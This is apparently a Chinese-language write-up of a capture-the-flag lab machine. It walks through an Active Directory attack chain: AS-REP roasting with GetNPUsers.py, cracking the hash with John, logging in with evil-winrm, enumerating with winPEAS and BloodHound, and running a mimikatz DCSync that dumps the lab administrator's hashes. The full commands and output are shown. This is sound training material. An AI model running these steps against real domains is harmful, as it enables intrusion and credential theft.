概述
目标主机是一台Windows域控服务,同时还搭建了一个web网站,网站本身似乎没有太多突破口,于是渗透的思路聚焦于Windows凭据的突破。渗透过程大致为,通过网站的About页面猜测用户名,然后使GetNPUser.py
尝试获取用户的TGT,然后用John
爆破出口令,再使用evil-winrm
访问目标主机。在主机上使用winPEAS.exe
收集主机信息,发现主机上存在更多的可用账号以及一个默认口令,其中包括一个叫svc_loanmgr
的账号,使用BloodHund
收集域信息,发现该账号有权限实施DCSync
攻击,接下来使用mimikatz
或secretdump.py
获取管理员账号的ntlm hash,然后使用evil-winrm
进行pth
以管理员账号登录目标机器并获取root.txt
信息收集
先上namp
扫描端口
nmap -sV -sC 10.10.10.175
nmap
从扫描接口可以看到,慕白机器开放了80、139和445端口,并且从返回信息可以看到目标AD域名是
EGOTISTICAL-BANK.LOCAL
,可以推测出目标机器是一个windows的域服务。用浏览器访问80端口,查看web页面,经过一通操作并没有发现什么可利用的弱点。about
接下来尝试通过AD的认证找到突破,在网站的ahout页面看到一些人名,这里猜测这些人名可能正好是某个账号,这里把人名保存到user.txt
users.png
使用
impacket
下面的GetNPUsers.py
尝试获取TGT,查看输出到hash.txt的结果,可以看到我们获取到了FSmith
用户的口令hashimpacket.png
GetNPUsers.py
可以查询域控中不需要Kerberos预认证的用户,这种配置在域控中体现为账号勾选了Do not require Kerberos preauthentication
选项,很显然会让账号变得不安全
密码爆破
拿到了fsmith的口令hash,下一步需要尝试爆破这个口令,这里使用john
~$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:39 DONE (2020-02-15 23:13) 0.02532g/s 266871p/s 266871c/s 266871C/s Thing..Thereisnospoon
Use the "--show" option to display all of the cracked passwords reliably
Session completed
这里直接爆破出了明文口令,然后然后我们使用evil-winRM远程连接目标机器
evil-winrm -u FSmith -p Thestrokes23 -i 10.10.10.175
winrm.png
Windows 的远程管理管理服务WinRM默认使用5985端口,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。使用
evil-winrm
可以利用明文用户口令或者口令hash登录服务器并获取一个powershell的session。
权限提升
为了进一步查找目标主机上可以利用的弱点信息,我们使用winPEAS.exe
对目标环境做进一步扫描,可以使用evil-winrm
的upload
命令直接上传文件,然后执行./winPEAS.exe
,从反馈信息里发现一个新的账号svc_loanmanager
还有他的口令。
为了进一步获取域管理权限,这里选择使用BloodHound
扫描域信息,将SharpHound.exe上传到目标服务并执行
将收集到的信息导入
BloodHound
生成拓扑图,从图上可以看到,svc_loanmanager
有GetchangesAll
权限,鼠标右键点击这个按钮,在弹出菜单中选择help
查看提示bloodhound.png
根据提示,这个利用svc_loanmanager
可以实施DcSync
攻击
mimikatz
直接上传mimikatz.exe
到目标主机,执行dcsync
获取administrator账号的ntlm hash
*Evil-WinRM* PS C:\tmd> ./mimikatz.exe "lsadump::dcsync /user:administrator"
.#####. mimikatz 2.2.0 (x86) #18362 Feb 8 2020 12:26:09
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /user:administrator
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server
[DC] 'administrator' will be the user account
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 1/24/2020 9:14:15 AM
Object Security ID : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID : 500
Credentials:
Hash NTLM: d9485863c1e9e05851aa40cbb4ab9dff
ntlm- 0: d9485863c1e9e05851aa40cbb4ab9dff
ntlm- 1: 7facdc498ed1680c4fd1448319a8c04f
lm - 0: ee8c50e6bc332970a8e8a632488f5211
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : caab2b641b39e342e0bdfcd150b1683e
* Primary:Kerberos-Newer-Keys *
Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
aes128_hmac (4096) : 145e4d0e4a6600b7ec0ece74997651d0
des_cbc_md5 (4096) : 19d5f15d689b1ce5
OldCredentials
aes256_hmac (4096) : 9637f48fa06f6eea485d26cd297076c5507877df32e4a47497f360106b3c95ef
aes128_hmac (4096) : 52c02b864f61f427d6ed0b22639849df
des_cbc_md5 (4096) : d9379d13f7c15d1c
* Primary:Kerberos *
Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
Credentials
des_cbc_md5 : 19d5f15d689b1ce5
OldCredentials
des_cbc_md5 : d9379d13f7c15d1c
* Packages *
NTLM-Strong-NTOWF
secretdump.py
也可以使用impacket的secretdump.py
脚本远程直接dump口令hash
网友评论